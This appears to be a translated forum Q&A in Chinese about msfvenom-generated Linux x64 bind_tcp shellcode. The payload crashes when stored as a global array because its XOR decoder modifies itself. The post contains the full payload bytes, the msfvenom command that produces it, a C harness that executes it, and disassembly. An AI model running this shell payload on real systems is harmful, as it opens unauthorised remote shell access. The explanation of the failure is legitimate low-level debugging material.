我在Ubuntu上使用以下命令生成bind_tcp shellcode:
msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234
我的C代码来测试它是:
#include <stdio.h>
#include <string.h>
__attribute__((section(".text#")))
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
"\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
"\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
"\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
"\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
"\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
"\x91\x5d\xef\x3f\x2e\xf1\x54";
int main() {
printf("Shellcode Length %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
使用gcc -z execstack -fno-stack-protector -o shellCode shellCode.c
编译代码,然后运行./shellCode
会生成一个分段错误。但是,如果我将代码数组移动到main
函数中(并删除__attribute__
),代码就可以工作,我可以使用msfconsole进行攻击。
我的问题是:为什么将代码定义为全局变量不起作用?我已经检查了两个ELF文件,两次代码都在.text
部分下。但区别在于:
- 在全局变量version中,shellcode位于
.text
节内的一个名为code
的单独节中,并且反汇编似乎不正确:
0000000000001180 <code>:
1180: 48 31 c9 xor rcx,rcx
1183: 48 81 e9 f6 ff ff ff sub rcx, 0xfffffffffffffff6
118a: 48 8d 05 ef ff ff ff lea rax,[rip +0xffffffffffffffef] # 1180 <code>
1191: 48 bb ce ce 52 ea c0 movabs rbx, 0x54f1c8c0ea52cece
1198: c8 f1 54
119b: 48 31 58 27 xor QWORD PTR [rax +0x27],rbx
119f: 48 2d f8 ff ff ff sub rax, 0xfffffffffffffff8
11a5: e2 f4 loop 119b <code+0x1b>
11a7: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
11a8: e7 0a out 0xa,eax
11aa: 73 aa jae 1156 <__do_global_dtors_aux+0x36>
11ac: ca ae 3e retf 0x3eae
11af: cf iret
11b0: 90 nop
11b1: 5d pop rbp
11b2: ef out dx,eax
11b3: 88 5f a3 mov BYTE PTR [rdi-0x5d],bl
11b6: 93 xchg ebx,eax
11b7: ca ea 50 retf 0x50ea
11ba: ea (bad)
11bb: c4 (bad)
11bc: 1a b9 dd 28 a4 42 sbb bh,BYTE PTR [rcx +0x42a428dd]
11c2: b0 aa mov al,0xaa
11c4: f9 stc
11c5: a9 5b cb 97 38 test eax,0x3897cb5b
11ca: d8 98 c7 f4 1c 58 fcomp DWORD PTR [rax +0x581cf4c7]
11d0: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
11d1: 79 b2 jns 1185 <code+0x5>
11d3: cf iret
11d4: cd a1 int 0xa1
11d6: 02 91 a4 5b b2 59 add dl,BYTE PTR [rcx +0x59b25ba4]
11dc: 7e e1 jle 11bf <code+0x3f>
11de: 1c 47 sbb al,0x47
11e0: 18 1f sbb BYTE PTR [rdi],bl
11e2: db 09 fisttp DWORD PTR [rcx]
11e4: a2 d3 15 94 7c 55 e5 movabs ds:0x80c5e5557c9415d3,al
11eb: c5 80
11ed: 67 1c 59 addr32 sbb al,0x59
11f0: 91 xchg ecx,eax
11f1: 5d pop rbp
11f2: ef out dx,eax
11f3: 3f (bad)
11f4: 2e f1 cs icebp
11f6: 54 push rsp
- 在局部变量version中,它看起来像这样(从第1175行开始):
1169: f3 0f 1e fa endbr64
116d: 55 push rbp
116e: 48 89 e5 mov rbp,rsp
1171: 48 83 c4 80 add rsp,0xffffffffffffff80
1175: 48 b8 48 31 c9 48 81 movabs rax,0xfff6e98148c93148
117c: e9 f6 ff
117f: 48 ba ff ff 48 8d 05 movabs rdx,0xffffef058d48ffff
1186: ef ff ff
1189: 48 89 45 80 mov QWORD PTR [rbp-0x80],rax
118d: 48 89 55 88 mov QWORD PTR [rbp-0x78],rdx
1191: 48 b8 ff 48 bb ce ce movabs rax,0xc0ea52cecebb48ff
1198: 52 ea c0
119b: 48 ba c8 f1 54 48 31 movabs rdx,0x482758314854f1c8
11a2: 58 27 48
11a5: 48 89 45 90 mov QWORD PTR [rbp-0x70],rax
11a9: 48 89 55 98 mov QWORD PTR [rbp-0x68],rdx
11ad: 48 b8 2d f8 ff ff ff movabs rax,0xa4f4e2fffffff82d
11b4: e2 f4 a4
11b7: 48 ba e7 0a 73 aa ca movabs rdx,0xcf3eaecaaa730ae7
11be: ae 3e cf
11c1: 48 89 45 a0 mov QWORD PTR [rbp-0x60],rax
11c5: 48 89 55 a8 mov QWORD PTR [rbp-0x58],rdx
11c9: 48 b8 90 5d ef 88 5f movabs rax,0xca93a35f88ef5d90
11d0: a3 93 ca
11d3: 48 ba ea 50 ea c4 1a movabs rdx,0x28ddb91ac4ea50ea
11da: b9 dd 28
11dd: 48 89 45 b0 mov QWORD PTR [rbp-0x50],rax
11e1: 48 89 55 b8 mov QWORD PTR [rbp-0x48],rdx
11e5: 48 b8 a4 42 b0 aa f9 movabs rax,0xcb5ba9f9aab042a4
11ec: a9 5b cb
11ef: 48 ba 97 38 d8 98 c7 movabs rdx,0x581cf4c798d83897
11f6: f4 1c 58
11f9: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
11fd: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx
1201: 48 b8 a4 79 b2 cf cd movabs rax,0x9102a1cdcfb279a4
1208: a1 02 91
120b: 48 ba a4 5b b2 59 7e movabs rdx,0x471ce17e59b25ba4
1212: e1 1c 47
1215: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax
1219: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx
121d: 48 b8 18 1f db 09 a2 movabs rax,0x9415d3a209db1f18
1224: d3 15 94
1227: 48 ba 7c 55 e5 c5 80 movabs rdx,0x591c6780c5e5557c
122e: 67 1c 59
1231: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax
1235: 48 89 55 e8 mov QWORD PTR [rbp-0x18],rdx
1239: 48 b8 91 5d ef 3f 2e movabs rax,0x54f12e3fef5d91
1240: f1 54 00
1243: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
1247: 48 8d 45 80 lea rax,[rbp-0x80]
124b: 48 89 c7 mov rdi,rax
124e: e8 0d fe ff ff call 1060 <strlen@plt>
1253: 48 89 c6 mov rsi,rax
1256: 48 8d 3d a7 0d 00 00 lea rdi,[rip+0xda7] # 2004 <_IO_stdin_used+0x4>
125d: b8 00 00 00 00 mov eax,0x0
1262: e8 09 fe ff ff call 1070 <printf@plt>
1267: 48 8d 45 80 lea rax,[rbp-0x80]
126b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
126f: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
1273: b8 00 00 00 00 mov eax,0x0
1278: ff d2 call rdx
127a: b8 00 00 00 00 mov eax,0x0
127f: c9 leave
1280: c3 ret
1281: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
1288: 00 00 00
128b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
msfvenom是否需要将shellcode作为局部变量?如果是这样,有没有办法绕过这个机制?
1条答案
按热度按时间fslejnso1#
正如你可以从你试图执行的shellcode的前几条指令中看到的:
shellcode是 * 自我修改的 *。前几条指令定位要执行的机器代码的其余部分,将地址加载到RAX中,然后在循环中将其与常量
0x54f1c8c0ea52cece
每次进行8个字节的XOR。当这一切完成后(在10次迭代之后,因为RCX从10开始),其余的shellcode将被执行。如果在可读、可写和可执行的部分(例如使用
-z execstack
时的堆栈)中声明代码,则可以很好地工作,但绝对不能在仅可读和可执行的部分(例如文本)中工作。因此,您应该使用堆栈(局部变量)或告诉Msfvenom生成 * 非 * 自修改的shellcode。不知道如何实现第二个选项,因为我从来没有使用过这个工具,但也许可以看看不同的-p
负载或看看--payload-options
。局部变量case的第二个代码片段似乎更有意义,因为在堆栈上声明一个局部缓冲区将导致编译器在实际函数开始之前发出一堆MOV/MOVABS指令来填充缓冲区。所以你看到的 * 不是 * shellcode,而仅仅是将shellcode写入堆栈的代码。实际的shellcode执行从这里开始:
你将无法看到/转储它与一个简单的反汇编器一样,你在第一种情况下。
在任何情况下,执行的shellcode仍然与为全局变量case打印的shellcode相同。它会自我修改,然后执行。但是这次它会工作,因为堆栈是RWX和
-z execstack
。如果你在调试器下运行你的程序,比如GDB和
call rdx
之后的单步调试,你将能够看到自我修改的发生,并且你将能够观察到代码被异或后的其余部分。我为你做了这个,循环后的shellcode看起来像这样:P.S.:你看到的那个“部分”叫做
code
:不是一个部分,它只是一个引用全局变量
code
的符号,而objdump
(或您用来反汇编ELF的任何工具)将突出显示符号开始的位置。